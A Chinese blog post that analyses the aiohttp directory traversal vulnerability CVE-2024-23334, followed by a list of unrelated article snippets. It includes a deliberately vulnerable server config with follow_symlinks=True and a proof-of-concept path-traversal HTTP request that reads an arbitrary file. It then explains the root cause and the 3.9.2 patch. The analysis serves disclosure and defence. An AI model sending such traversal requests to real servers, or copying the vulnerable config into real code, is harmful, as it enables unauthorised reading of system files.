CVE-2024-23334 AIOHTTP 目录遍历漏洞分析

漏洞描述:

aiohttp 是一个用于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。使用aiohttp作为Web服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查读取的文件是否位于根目录内。这可能会导致目录遍历漏洞,从而导致对系统上的任意文件进行未经授权的访问,即使符号链接不存在也是如此。鼓励缓解措施是禁用 follow_symlinks 并使用反向代理。版本 3.9.2 修复了此问题。
在这里插入图片描述
服务启动Py文件中有"/static", “static/” 其中一个是涉及现有目录,没有自行创建一个,不然可能会报错

from aiohttp import webasync def index(request):return web.Response(text="Hello, World!")app = web.Application()
app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)if __name__ == '__main__':web.run_app(app, host='127.0.0.1', port=9999)

在这里插入图片描述

GET /static/../../../../D:\\6666.txt HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

漏洞原因

在使用 aiohttp 作为 Web 服务器时,错误配置静态资源解析可能导致目录遍历漏洞,允许攻击者未经授权读取系统上的任意文件。该漏洞的根本问题在于静态路由配置中的 follow_symlinks 选项,当设置为 True 时,可能绕过验证,使得符号链接可以指向根目录之外的文件,导致安全漏洞。


app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

补丁分析

通过官方项目发布补丁情况

  • 路径处理逻辑: 使用 normalized_path对未解析的路径进行规范化处理,消除冗余的分隔符和相对路径。然后再尝试将规范化的路径转换为相对于指定目录的相对路径,最后解析为绝对路径。
  • 符号链接处理: 根据 follow_symlinks
    的设置,决定是否遵循符号链接。如果需要遵循,则使用规范化的路径,否则直接使用未解析的路径。
  • 异常处理: 在捕获到可能的异常时,如 ValueErrorFileNotFoundError,同样触发了适当的错误处理,即抛出 HTTPForbidden 异常。

在这里插入图片描述

结束语

从启用 follow_symlinks 选项并且路径指向符号链接时发生目录遍历漏洞。通过补丁改进,补丁代码确保了在处理静态资源时,即使路径指向符号链接,也能正确地验证路径是否在指定的根目录内,从而防止了目录遍历漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/718501.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

css样式元素的相对定位,绝对定位,固定定位等元素定位运用技巧详解

文章目录 1.相对定位 relative2.绝对定位 absolute3.固定定位4.display 转换元素5.float浮动6.float产生内容塌陷问题7.overflow CSS样式学习宝典,关注点赞加收藏,防止迷路哦 在CSS中关于定位的内容是:position:relative | absolute | static…

Unreal触屏和鼠标控制旋转冲突问题

Unreal触屏和鼠标控制旋转冲突问题 鼠标控制摄像机旋转添加Input轴计算旋转角度通过轴事件控制旋转 问题和原因问题原因 解决办法增加触摸控制旋转代码触屏操作下屏蔽鼠标轴响应事件 鼠标控制摄像机旋转 通过Mouse X和Mouse Y控制摄像机旋转。 添加Input轴 计算旋转角度 通过…

SpringBootWeb快速入门

1.创建springboot工程,新建module 2.勾选web开发相关依赖 3.删除多余文件 4.新建类 5.启动类中运行main方法 6.启动 默认端口号8080 7.打开浏览器,地址栏输入 8.报错 9.原因,控制层位置放错,剪切controller层放进com.example …

[vue error] TypeError: Components is not a function

问题详情 问题描述: element plus按需导入后,启动项目报错: 问题原因 unplugin-vue-components插件版本问题 查看 unplugin-vue-components插件可以发现版本太高了 问题解决 unplugin-vue-components 版本高了,我用的0.26.0&#xff0c…

【STM32+HAL】姿态传感器陀螺仪MPU6050模块

一、准备工作 有关OLED屏初始化的问题,详见【STM32HAL】OLED显示初始化配置 二、所用工具 1、芯片:STM32F10C8T6 2、CUBEMX配置软件 3、 6 轴运动处理组件MPU6050 三、实现功能 OLED屏显示姿态角 四、HAL配置步骤 1、开启I2C1进行MPU6050通信 2、开…

供应链管理(SCM):界面设计全面扫盲,得供应链者得天下

大家伙,我是大千UI工场,专注UI分享和项目接单,本期带来供应链系统的设计分享,欢迎大家关注、互动交流。 一、什么是SCM SCM系统是供应链管理(Supply Chain Management)系统的缩写。供应链管理是指协调和管…

【笔记版】edgecore.yaml分析总结

1. 文件路径 /etc/kubeedge/config edgecore.yaml是该目录下唯一的文件 附上链接:edgecore.yaml 2. 文件生成方式 2.1 方式一 使用keadm安装部署的方式,执行完keadm join --cloudcore-ipportcloudcore监听的IP地址:端口(默认为10002&…

(十)SpringCloud系列——openfeign的高级特性实战内容介绍

前言 本节内容主要介绍一下SpringCloud组件中微服务调用组件openfeign的一些高级特性的用法以及一些常用的开发配置,如openfeign的超时控制配置、openfeign的重试机制配置、openfeign集成高级的http客户端、openfeign的请求与响应压缩功能,以及如何开启…

论文阅读-高效构建检查点

论文标题:On Efficient Constructions of Checkpoints 摘要 高效构建检查点/快照是训练和诊断深度学习模型的关键工具。在本文中,我们提出了一种适用于检查点构建的有损压缩方案(称为LC-Checkpoint)。LC-Checkpoint同时最大化了…

uniapp开发android原生插件

一、下载原生开发SDK Android 离线SDK - 正式版 | uni小程序SDK (dcloud.net.cn)、 https://nativesupport.dcloud.net.cn/AppDocs/download/android.html 将开发uniappa原生android的插件解压到ben本地目录,目录结构如下: 接下就可以使用 UniPlugin-Hel…

【本科组冠名奖】2023年第八届数维杯数学建模挑战赛获奖感言

美国大学生数学建模竞赛已结束过半,现在又迎来了2024年第九届数维杯国赛,准备参加今年数维杯国赛的同学,今天我们一起看看去年优秀的选手都有什么获奖感言吧~希望能帮到更多热爱数学建模的同学。据说文末在看点赞的大佬都会直冲国奖呢&#x…

少儿编程 中国电子学会C++等级考试一级历年真题答案解析【持续更新 已更新82题】

C 等级考试一级考纲说明 一、能力目标 通过本级考核的学生,能对 C 语言有基本的了解,会使用顺序结构、选择结构、循环结构编写程序,具体用计算思维的方式解决简单的问题。 二、考核目标 考核内容是根据软件开发所需要的技能和知识&#x…

单词规律00

题目链接 单词规律 题目描述 注意点 pattern只包含小写英文字母s只包含小写英文字母和 ’ ’s不包含任何前导或尾随对空格s中每个单词都被 单个空格 分隔 解答思路 本题与上一次同构字符串类似,思路可以参照同构字符串 代码 class Solution {public boolean …

企业财务规划的未来:自动化智能化如何推动全面预算管理

随着自动化和智能化对企业的影响日益明显,了解和接受那些有可能改变企业财务规划的技术变得愈发重要。新兴技术是推动企业增长和业务生产的中坚力量。作为企业财务专业人员,熟悉技术能够帮助他们了解企业的未来价值,从而更好的领导团队。数智…

springboot支持的常用日志框架介绍

日志系统是计算机系统中用于记录和跟踪事件、错误和信息的软件组件。在软件开发和维护过程中,日志系统起着至关重要的作用。它可以帮助开发人员了解软件的运行情况,快速定位和解决问题。本文将从以下几个方面介绍日志系统:日志系统概述、Spri…

vscode——远端配置及一些问题解决

vscode——远端配置 安装Remote -SSH插件配置config本地变化一些问题缺失核心关闭vscode自动更新 尝试写入管道不存在hostname -I 查出来的ip连不上 我们之前大概了解了vscode的本地设置,我们之前提过,vscode是一款编辑器,在文本编辑方面有着…

程序员的金三银四求职宝典:如何在关键时期脱颖而出?

个人主页:17_Kevin-CSDN博客 随着春天的脚步渐近,程序员们的求职热潮也随之而来。在这个被称为“金三银四”的招聘季,如何从众多求职者中脱颖而出,成为了许多程序员关注的焦点。本文将为你提供一份全面的求职宝典,助你…

彻底剖析激光-视觉-IMU-GPS融合SLAM算法:理论推导、代码讲解和实战

自主导航是机器人与自动驾驶的核心功能,而SLAM技术是实现自主导航的前提与关键。现有的机器人与自动驾驶车辆往往会安装激光雷达,相机,IMU,GPS等多种模态的传感器,而且已有许多优秀的激光SLAM与视觉SLAM算法。但是每种…

曲线生成 | 图解Dubins曲线生成原理(附ROS C++/Python/Matlab仿真)

目录 0 专栏介绍1 什么是Dubins曲线?2 Dubins曲线原理2.1 坐标变换2.2 单步运动公式2.3 曲线模式 3 Dubins曲线生成算法4 仿真实现4.1 ROS C实现4.2 Python实现4.3 Matlab实现 0 专栏介绍 🔥附C/Python/Matlab全套代码🔥课程设计、毕业设计、…

Foxmail快捷键设置问题

当快捷键设置错误时不会生效,原来的快捷键仍有效,即使禁用快捷键功能,原先快捷键仍有效。正确的快捷键: 1. 不能是空(NULL) 2. 应该设置按键值只有一个的键盘按钮。